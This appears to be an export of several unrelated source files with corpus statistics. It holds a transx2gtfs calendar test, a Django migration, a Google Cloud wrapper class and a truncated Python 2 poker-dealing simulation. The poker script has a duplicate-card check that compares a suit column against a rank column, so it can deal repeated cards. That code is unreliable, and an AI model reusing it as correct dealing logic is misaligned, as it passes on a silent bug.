str(e): pass else: raise e def test_get_calendar_txc21(test_txc21_data): from transx2gtfs.calendar import get_calendar from transx2gtfs.transxchange import get_gtfs_info from pandas import DataFrame from pandas.testing import assert_frame_equal import numpy as np import untangle data = untangle.parse(test_txc21_data) # Get gtfs info gtfs_info = get_gtfs_info(data) assert isinstance(gtfs_info, DataFrame) # Get GTFS calendar gtfs_calendar = get_calendar(gtfs_info) assert isinstance(gtfs_calendar, DataFrame) correct_frame = DataFrame({ 'service_id': ["99-PIC-B-y05-4_20200201_20200202_Sunday", "99-PIC-B-y05-4_20200201_20200202_Saturday"], 'monday': np.int64([0, 0]), 'tuesday': np.int64([0, 0]), 'wednesday': np.int64([0, 0]), 'thursday': np.int64([0, 0]), 'friday': np.int64([0, 0]), 'saturday': np.int64([0, 1]), 'sunday': np.int64([1, 0]), 'start_date': ["20200201", "20200201"], 'end_date': ["20200202", "20200202"], }, index=[0, 1]) try: # Check that the frames match assert_frame_equal(gtfs_calendar, correct_frame) except AssertionError as e: # Ignore the dtype int32/int64 difference if """Attribute "dtype" are different""" in str(e): pass else: raise e

33.081633

95

0.637724

791

6,484

5.013906

0.1378

0.017146

0.024206

0.022693

0.934695

0.901664

0.886536

0.873424

0.871407

0.849218

0

0.065754

0.256477

6,484

195

96

33.251282

0.756897

0.092998

0

0.801653

0

0.130761

0.02902

0

0.181818

1

0.07438

false

0.016529

0.214876

0.024793

0.31405

0

null

0

1

0

1

0

null

0

7

f7e4e6dc5d2090fe3d9bf6fc59fa418373f48a37

2,848

py

Python

TWLight/resources/migrations/0025_auto_20170113_1614.py

saloniig/TWLight

cd92e690b79676299d95394abf9e66885eac9d73

[ "MIT" ]

2

2020-01-17T09:14:55.000Z

2020-01-17T09:15:20.000Z

TWLight/resources/migrations/0025_auto_20170113_1614.py

saloniig/TWLight

cd92e690b79676299d95394abf9e66885eac9d73

[ "MIT" ]

11

2022-03-18T18:05:40.000Z

2022-03-18T18:06:04.000Z

TWLight/resources/migrations/0025_auto_20170113_1614.py

saloniig/TWLight

cd92e690b79676299d95394abf9e66885eac9d73

[ "MIT" ]

null

# -*- coding: utf-8 -*- from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("resources", "0024_auto_20170113_1606")] operations = [ migrations.AlterField( model_name="partner", name="description", field=models.TextField( help_text="Optional description of this partner's offerings. You can enter HTML and it should render properly - if it does not, the developer forgot a | safe filter in the template. Whatever you enter here will also be automatically copied over to the description field for *your current language*, so you do not need to also fill that out.", null=True, blank=True, ), ), migrations.AlterField( model_name="partner", name="description_en", field=models.TextField( help_text="Optional description of this partner's offerings. You can enter HTML and it should render properly - if it does not, the developer forgot a | safe filter in the template. Whatever you enter here will also be automatically copied over to the description field for *your current language*, so you do not need to also fill that out.", null=True, blank=True, ), ), migrations.AlterField( model_name="partner", name="description_fi", field=models.TextField( help_text="Optional description of this partner's offerings. You can enter HTML and it should render properly - if it does not, the developer forgot a | safe filter in the template. Whatever you enter here will also be automatically copied over to the description field for *your current language*, so you do not need to also fill that out.", null=True, blank=True, ), ), migrations.AlterField( model_name="partner", name="description_fr", field=models.TextField( help_text="Optional description of this partner's offerings. You can enter HTML and it should render properly - if it does not, the developer forgot a | safe filter in the template. Whatever you enter here will also be automatically copied over to the description field for *your current language*, so you do not need to also fill that out.", null=True, blank=True, ), ), migrations.AlterField( model_name="partner", name="languages", field=models.ManyToManyField( help_text="Select all languages in which this partner publishes content.", to="resources.Language", null=True, blank=True, ), ), ]

48.271186

358

0.61552

343

2,848

5.06414

0.244898

0.057571

0.071963

0.083477

0.847438

0.818077

0

0.008709

0.314607

2,848

58

359

49.103448

0.881148

0.007374

0

0.745098

0

0.078431

0.539469

0.008142

0

1

0

false

0

0.019608

0

0.078431

0

null

0

1

0

1

0

null

0

7

793b887aec53d0115275fdbf3764951d56247bd8

417

py

Python

library/gcloud_accessor/rest_library/gcloud_rest_library.py

anchitarnav/gcloud-resource-cleanup

a3b220f406529df43ffd5afa8adb929c718caba5

[ "MIT" ]

null

library/gcloud_accessor/rest_library/gcloud_rest_library.py

anchitarnav/gcloud-resource-cleanup

a3b220f406529df43ffd5afa8adb929c718caba5

[ "MIT" ]

6

2020-04-29T09:09:48.000Z

2021-04-30T21:13:57.000Z

library/gcloud_accessor/rest_library/gcloud_rest_library.py

anchitarnav/gcloud-resource-cleanup

a3b220f406529df43ffd5afa8adb929c718caba5

[ "MIT" ]

null

from library.gcloud_accessor.rest_library.services.compute import GcloudCompute from library.gcloud_accessor.rest_library.services.sqladmin import GcloudSqlAdmin from library.gcloud_accessor.rest_library.services.redis import GcloudRedisV1 from library.gcloud_accessor.rest_library.services.storage import GcloudStorageV1 class GcloudRestLib(GcloudCompute, GcloudSqlAdmin, GcloudRedisV1, GcloudStorageV1): pass

46.333333

83

0.880096

47

417

7.638298

0.382979

0.122563

0.189415

0.278552

0.490251

0

0.010283

0.067146

417

8

84

52.125

0.912596

0

1

0

true

0.166667

0.666667

0

0.833333

0

null

0

1

0

1

0

null

0

1

0

1

0

7

f70d3e28da9aa68e8d861ebac687968a147701ef

284,723

py

Python

poker.py

TheArnabDey/PokerDataStyle

8eeffced3c337e76219b7c1ce1d43a5f4cfeea1b

[ "Apache-2.0" ]

null

poker.py

TheArnabDey/PokerDataStyle

8eeffced3c337e76219b7c1ce1d43a5f4cfeea1b

[ "Apache-2.0" ]

null

poker.py

TheArnabDey/PokerDataStyle

8eeffced3c337e76219b7c1ce1d43a5f4cfeea1b

[ "Apache-2.0" ]

null

import random import pandas as pd import numpy as np df1 = pd.read_csv('train.csv') df2 = pd.read_csv('train.csv') df3 = pd.read_csv('train.csv') df4 = pd.read_csv('train.csv') df5 = pd.read_csv('train.csv') for i in range(0,1000000): for k in range (1,5): x = 0 # Create Pre-Flop round if k == 1: df1.loc[i * 4 + k-1] = -1 df2.loc[i * 4 + k-1] = -1 df3.loc[i * 4 + k - 1] = -1 df4.loc[i * 4 + k - 1] = -1 df5.loc[i * 4 + k - 1] = -1 # Generate first card for P1 df1.iloc[i * 4 + k-1, 0] = random.randrange(1,5) df1.iloc[i * 4 + k-1, 1] = random.randrange(2,15) while x == 0: print "Step 1" # Generate 2nd card for P1 df1.iloc[i * 4 + k-1, 2] = random.randrange(1,5) df1.iloc[i * 4 + k-1, 3] = random.randrange(2,15) #Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k-1, 2] == df1.iloc[i * 4 + k-1, 0] and df1.iloc[i * 4 + k-1, 3] == df1.iloc[i * 4 + k-1, 1]): continue else: x = 1 x = 0 while x == 0: print "Step 2" # Generate 2nd card for P2 df2.iloc[i * 4 + k - 1, 2] = random.randrange(1, 5) df2.iloc[i * 4 + k - 1, 3] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df2.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 0] and df2.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 1])\ or (df2.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 3] == \ df1.iloc[i * 4 + k - 1, 3]): continue else: x = 1 x = 0 while x == 0: print "Step 3" # Generate 2nd card for P3 df3.iloc[i * 4 + k - 1, 2] = random.randrange(1, 5) df3.iloc[i * 4 + k - 1, 3] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df3.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 0] and df3.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 1])\ or (df3.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 3])\ or (df3.iloc[i * 4 + k - 1, 2] == df2.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 3] == df2.iloc[i * 4 + k - 1, 3]): continue else: x = 1 x = 0 while x == 0: print "Step 4" # Generate 2nd card for P4 df4.iloc[i * 4 + k - 1, 2] = random.randrange(1, 5) df4.iloc[i * 4 + k - 1, 3] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df4.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 0] and df4.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 1])\ or (df4.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 3])\ or (df4.iloc[i * 4 + k - 1, 2] == df2.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 3] == df2.iloc[i * 4 + k - 1, 2])\ or (df4.iloc[i * 4 + k - 1, 2] == df3.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 3] == df3.iloc[i * 4 + k - 1, 3]): continue else: x = 1 x = 0 while x == 0: print "Step 5" # Generate 2nd card for P5 df5.iloc[i * 4 + k - 1, 2] = random.randrange(1, 5) df5.iloc[i * 4 + k - 1, 3] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df5.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 0] and df5.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 1])\ or (df5.iloc[i * 4 + k - 1, 2] == df1.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 3] == df1.iloc[i * 4 + k - 1, 3])\ or (df5.iloc[i * 4 + k - 1, 2] == df2.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 3] == df2.iloc[i * 4 + k - 1, 3])\ or (df5.iloc[i * 4 + k - 1, 2] == df3.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 3] == df3.iloc[i * 4 + k - 1, 3])\ or (df5.iloc[i * 4 + k - 1, 2] == df4.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 3] == df4.iloc[i * 4 + k - 1, 3]): continue else: x = 1 x = 0 while x == 0: print "Step 6" # Generate 1st card for P2 df2.iloc[i * 4 + k - 1, 0] = random.randrange(1, 5) df2.iloc[i * 4 + k - 1, 1] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df2.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 0] and df2.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 1]) \ or (df2.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 3]) \ or (df2.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 3]) \ or (df2.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 3]) \ or (df2.iloc[i * 4 + k - 1, 0] == df4.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 3]) \ or (df2.iloc[i * 4 + k - 1, 0] == df5.iloc[i * 4 + k - 1, 2] and df2.iloc[i * 4 + k - 1, 1] == df5.iloc[i * 4 + k - 1, 3]): continue else: x = 1 x = 0 while x == 0: print "Step 7" # Generate 1st card for P3 df3.iloc[i * 4 + k - 1, 0] = random.randrange(1, 5) df3.iloc[i * 4 + k - 1, 1] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df3.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 0] and df3.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 1]) \ or (df3.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 3]) \ or (df3.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 3]) \ or (df3.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 3]) \ or (df3.iloc[i * 4 + k - 1, 0] == df4.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 3]) \ or (df3.iloc[i * 4 + k - 1, 0] == df5.iloc[i * 4 + k - 1, 2] and df3.iloc[i * 4 + k - 1, 1] == df5.iloc[i * 4 + k - 1, 3])\ or (df3.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 0] and df3.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 1]): continue else: x = 1 x = 0 while x == 0: print "Step 8" # Generate 1st card for P4 df4.iloc[i * 4 + k - 1, 0] = random.randrange(1, 5) df4.iloc[i * 4 + k - 1, 1] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df4.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 0] and df4.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 1]) \ or (df4.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 3]) \ or (df4.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 3]) \ or (df4.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 3]) \ or (df4.iloc[i * 4 + k - 1, 0] == df4.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 3]) \ or (df4.iloc[i * 4 + k - 1, 0] == df5.iloc[i * 4 + k - 1, 2] and df4.iloc[i * 4 + k - 1, 1] == df5.iloc[i * 4 + k - 1, 3])\ or (df4.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 0] and df4.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 1])\ or (df4.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 0] and df4.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 1]): continue else: x = 1 x = 0 while x == 0: print "Step 9" # Generate 1st card for P5 df5.iloc[i * 4 + k - 1, 0] = random.randrange(1, 5) df5.iloc[i * 4 + k - 1, 1] = random.randrange(2, 15) # Check if this card is already generated in this game, then re-generate if (df5.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 0] and df5.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 1]) \ or (df5.iloc[i * 4 + k - 1, 0] == df1.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 3]) \ or (df5.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 3]) \ or (df5.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 3]) \ or (df5.iloc[i * 4 + k - 1, 0] == df4.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 3]) \ or (df5.iloc[i * 4 + k - 1, 0] == df5.iloc[i * 4 + k - 1, 2] and df5.iloc[i * 4 + k - 1, 1] == df5.iloc[i * 4 + k - 1, 3])\ or (df5.iloc[i * 4 + k - 1, 0] == df2.iloc[i * 4 + k - 1, 0] and df5.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 1])\ or (df5.iloc[i * 4 + k - 1, 0] == df3.iloc[i * 4 + k - 1, 0] and df5.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 1]) \ or (df5.iloc[i * 4 + k - 1, 0] == df4.iloc[i * 4 + k - 1, 0] and df5.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 1]): continue else: x = 1 x = 0 list = [] df1.iloc[i * 4 + k - 1, 14] = 0 df2.iloc[i * 4 + k - 1, 14] = 0 df3.iloc[i * 4 + k - 1, 14] = 0 df4.iloc[i * 4 + k - 1, 14] = 0 df5.iloc[i * 4 + k - 1, 14] = 0 #Pre-flop Hand evaluation #Evaluate each player's hand for a pair if df1.iloc[i * 4 + k - 1, 1] == df1.iloc[i * 4 + k - 1, 3]: list.append(df1.iloc[i * 4 + k - 1, 1]) if df2.iloc[i * 4 + k - 1, 1] == df2.iloc[i * 4 + k - 1, 3]: list.append(df2.iloc[i * 4 + k - 1, 1]) if df3.iloc[i * 4 + k - 1, 1] == df3.iloc[i * 4 + k - 1, 3]: list.append(df3.iloc[i * 4 + k - 1, 1]) if df4.iloc[i * 4 + k - 1, 1] == df4.iloc[i * 4 + k - 1, 3]: list.append(df4.iloc[i * 4 + k - 1, 1]) if df5.iloc[i * 4 + k - 1, 1] == df5.iloc[i * 4 + k - 1, 3]: list.append(df5.iloc[i * 4 + k - 1, 1]) #Check if more than one player have a pair if (len(list) > 1): winner = max(list) if df1.iloc[i * 4 + k - 1, 1] == winner and df1.iloc[i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 if df2.iloc[i * 4 + k - 1, 1] == winner and df2.iloc[i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 if df3.iloc[i * 4 + k - 1, 1] == winner and df3.iloc[i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 if df4.iloc[i * 4 + k - 1, 1] == winner and df4.iloc[i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 if df5.iloc[i * 4 + k - 1, 1] == winner and df5.iloc[i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 #Check if only one player has a pair elif (len(list) == 1): winner = max(list) if df1.iloc[i * 4 + k - 1, 1] == winner and df1.iloc[i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 elif df2.iloc[i * 4 + k - 1, 1] == winner and df2.iloc[i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 elif df3.iloc[i * 4 + k - 1, 1] == winner and df3.iloc[i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 elif df4.iloc[i * 4 + k - 1, 1] == winner and df4.iloc[i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 elif df5.iloc[i * 4 + k - 1, 1] == winner and df5.iloc[i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 #Evaluate for the high card else: winner = max(df1.iloc[i * 4 + k - 1, 1], df1.iloc[i * 4 + k - 1, 3], df2.iloc[i * 4 + k - 1, 1], df2.iloc[i * 4 + k - 1, 3], df3.iloc[i * 4 + k - 1, 1], df3.iloc[i * 4 + k - 1, 3], df4.iloc[i * 4 + k - 1, 1], df4.iloc[i * 4 + k - 1, 3], df5.iloc[i * 4 + k - 1, 1], df5.iloc[i * 4 + k - 1, 3],) if df1.iloc[i * 4 + k - 1, 1] == winner or df1.iloc[i * 4 + k - 1, 3] == winner: df1.iloc[i * 4 + k - 1, 14] = 1 if df2.iloc[i * 4 + k - 1, 1] == winner or df2.iloc[i * 4 + k - 1, 3] == winner: df2.iloc[i * 4 + k - 1, 14] = 1 if df3.iloc[i * 4 + k - 1, 1] == winner or df3.iloc[i * 4 + k - 1, 3] == winner: df3.iloc[i * 4 + k - 1, 14] = 1 if df4.iloc[i * 4 + k - 1, 1] == winner or df4.iloc[i * 4 + k - 1, 3] == winner: df4.iloc[i * 4 + k - 1, 14] = 1 if df5.iloc[i * 4 + k - 1, 1] == winner or df5.iloc[i * 4 + k - 1, 3] == winner: df5.iloc[i * 4 + k - 1, 14] = 1 # Create Flop Round if k == 2: df1.loc[i * 4 + k-1] = df1.loc[i * 4 + k - 2] df2.loc[i * 4 + k - 1] = df2.loc[i * 4 + k - 2] df3.loc[i * 4 + k - 1] = df3.loc[i * 4 + k - 2] df4.loc[i * 4 + k - 1] = df4.loc[i * 4 + k - 2] df5.loc[i * 4 + k - 1] = df5.loc[i * 4 + k - 2] while x == 0: print "Step 10" #Generate 1st community card df1.iloc[i * 4 + k-1, 4] = random.randrange(1, 5) df1.iloc[i * 4 + k-1, 5] = random.randrange(2, 15) df2.iloc[i * 4 + k - 1, 4] = df1.iloc[i * 4 + k - 1, 4] df2.iloc[i * 4 + k - 1, 5] = df1.iloc[i * 4 + k - 1, 5] df3.iloc[i * 4 + k - 1, 4] = df1.iloc[i * 4 + k - 1, 4] df3.iloc[i * 4 + k - 1, 5] = df1.iloc[i * 4 + k - 1, 5] df4.iloc[i * 4 + k - 1, 4] = df1.iloc[i * 4 + k - 1, 4] df4.iloc[i * 4 + k - 1, 5] = df1.iloc[i * 4 + k - 1, 5] df5.iloc[i * 4 + k - 1, 4] = df1.iloc[i * 4 + k - 1, 4] df5.iloc[i * 4 + k - 1, 5] = df1.iloc[i * 4 + k - 1, 5] # Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k-1, 4] == df1.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 5] == df1.iloc[i * 4 + k-1, 3]) \ or (df1.iloc[i * 4 + k-1, 4] == df1.iloc[i * 4 + k-1, 0] and df1.iloc[i * 4 + k-1, 5] == df1.iloc[i * 4 + k-1, 1])\ or (df1.iloc[i * 4 + k-1, 4] == df2.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 5] == df2.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 4] == df3.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 5] == df3.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 4] == df4.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 5] == df4.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 4] == df5.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 5] == df5.iloc[i * 4 + k-1, 3]) \ or (df1.iloc[i * 4 + k - 1, 4] == df2.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 5] == df2.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 4] == df3.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 5] == df3.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 4] == df4.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 5] == df4.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 4] == df5.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 5] == df5.iloc[i * 4 + k - 1, 1]): continue else: x = 1 x = 0 while x == 0: print "Step 11" # Generate 2nd community card df1.iloc[i * 4 + k-1, 6] = random.randrange(1, 5) df1.iloc[i * 4 + k-1, 7] = random.randrange(2, 15) df2.iloc[i * 4 + k-1, 6] = df1.iloc[i * 4 + k-1, 6] df2.iloc[i * 4 + k-1, 7] = df1.iloc[i * 4 + k-1, 7] df3.iloc[i * 4 + k-1, 6] = df1.iloc[i * 4 + k-1, 6] df3.iloc[i * 4 + k-1, 7] = df1.iloc[i * 4 + k-1, 7] df4.iloc[i * 4 + k-1, 6] = df1.iloc[i * 4 + k-1, 6] df4.iloc[i * 4 + k-1, 7] = df1.iloc[i * 4 + k-1, 7] df5.iloc[i * 4 + k-1, 6] = df1.iloc[i * 4 + k-1, 6] df5.iloc[i * 4 + k-1, 7] = df1.iloc[i * 4 + k-1, 7] # Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k-1, 6] == df1.iloc[i * 4 + k-1, 4] and df1.iloc[i * 4 + k-1, 7] == df1.iloc[i * 4 + k-1, 5]) \ or (df1.iloc[i * 4 + k-1, 6] == df1.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 7] == df1.iloc[i * 4 + k-1, 3]) \ or (df1.iloc[i * 4 + k-1, 6] == df1.iloc[i * 4 + k-1, 0] and df1.iloc[i * 4 + k-1, 7] == df1.iloc[i * 4 + k-1, 1])\ or (df1.iloc[i * 4 + k-1, 6] == df2.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 7] == df2.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 6] == df3.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 7] == df3.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 6] == df4.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 7] == df4.iloc[i * 4 + k-1, 3])\ or (df1.iloc[i * 4 + k-1, 6] == df5.iloc[i * 4 + k-1, 2] and df1.iloc[i * 4 + k-1, 7] == df5.iloc[i * 4 + k-1, 3]) \ or (df1.iloc[i * 4 + k - 1, 6] == df2.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 7] == df2.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 6] == df3.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 7] == df3.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 6] == df4.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 7] == df4.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 6] == df5.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 7] == df5.iloc[i * 4 + k - 1, 1]): continue else: x = 1 x = 0 while x == 0: print "Step 12" #Generate 3rd community card df1.iloc[i * 4 + k-1, 8] = random.randrange(1, 5) df1.iloc[i * 4 + k-1, 9] = random.randrange(2, 15) df2.iloc[i * 4 + k-1, 8] = df1.iloc[i * 4 + k-1, 8] df2.iloc[i * 4 + k-1, 9] = df1.iloc[i * 4 + k-1, 9] df3.iloc[i * 4 + k-1, 8] = df1.iloc[i * 4 + k-1, 8] df3.iloc[i * 4 + k-1, 9] = df1.iloc[i * 4 + k-1, 9] df4.iloc[i * 4 + k-1, 8] = df1.iloc[i * 4 + k-1, 8] df4.iloc[i * 4 + k-1, 9] = df1.iloc[i * 4 + k-1, 9] df5.iloc[i * 4 + k-1, 8] = df1.iloc[i * 4 + k-1, 8] df5.iloc[i * 4 + k-1, 9] = df1.iloc[i * 4 + k-1, 9] # Check if this card is already generated in this game, then re-generate if (df1.iloc[i * 4 + k - 1, 8] == df1.iloc[i * 4 + k - 1, 6] and df1.iloc[i * 4 + k - 1, 9] == df1.iloc[ i * 4 + k - 1, 7]) \ or (df1.iloc[i * 4 + k - 1, 8] == df1.iloc[i * 4 + k - 1, 4] and df1.iloc[i * 4 + k - 1, 9] == df1.iloc[i * 4 + k - 1, 5]) \ or (df1.iloc[i * 4 + k - 1, 8] == df1.iloc[i * 4 + k - 1, 2] and df1.iloc[i * 4 + k - 1, 9] == df1.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 8] == df1.iloc[i * 4 + k - 1, 0] and df1.iloc[i * 4 + k - 1, 9] == df1.iloc[i * 4 + k - 1, 1])\ or (df1.iloc[i * 4 + k - 1, 8] == df2.iloc[i * 4 + k - 1, 2] and df1.iloc[i * 4 + k - 1, 9] == df2.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 8] == df3.iloc[i * 4 + k - 1, 2] and df1.iloc[i * 4 + k - 1, 9] == df3.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 8] == df4.iloc[i * 4 + k - 1, 2] and df1.iloc[i * 4 + k - 1, 9] == df4.iloc[i * 4 + k - 1, 3])\ or (df1.iloc[i * 4 + k - 1, 8] == df5.iloc[i * 4 + k - 1, 2] and df1.iloc[i * 4 + k - 1, 9] == df5.iloc[i * 4 + k - 1, 3]) \ or (df1.iloc[i * 4 + k - 1, 8] == df2.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 9] == df2.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 8] == df3.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 9] == df3.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 8] == df4.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 9] == df4.iloc[i * 4 + k - 1, 1]) \ or (df1.iloc[i * 4 + k - 1, 8] == df5.iloc[i * 4 + k - 1, 0] and df1.iloc[ i * 4 + k - 1, 9] == df5.iloc[i * 4 + k - 1, 1]): continue else: x = 1 df2.iloc[i * 4 + k - 1, 4] = df3.iloc[i * 4 + k - 1, 4] = df4.iloc[i * 4 + k - 1, 4] = df5.iloc[ i * 4 + k - 1, 4] = df1.iloc[i * 4 + k - 1, 4] df2.iloc[i * 4 + k - 1, 5] = df3.iloc[i * 4 + k - 1, 5] = df4.iloc[i * 4 + k - 1, 5] = df5.iloc[ i * 4 + k - 1, 5] = df1.iloc[i * 4 + k - 1, 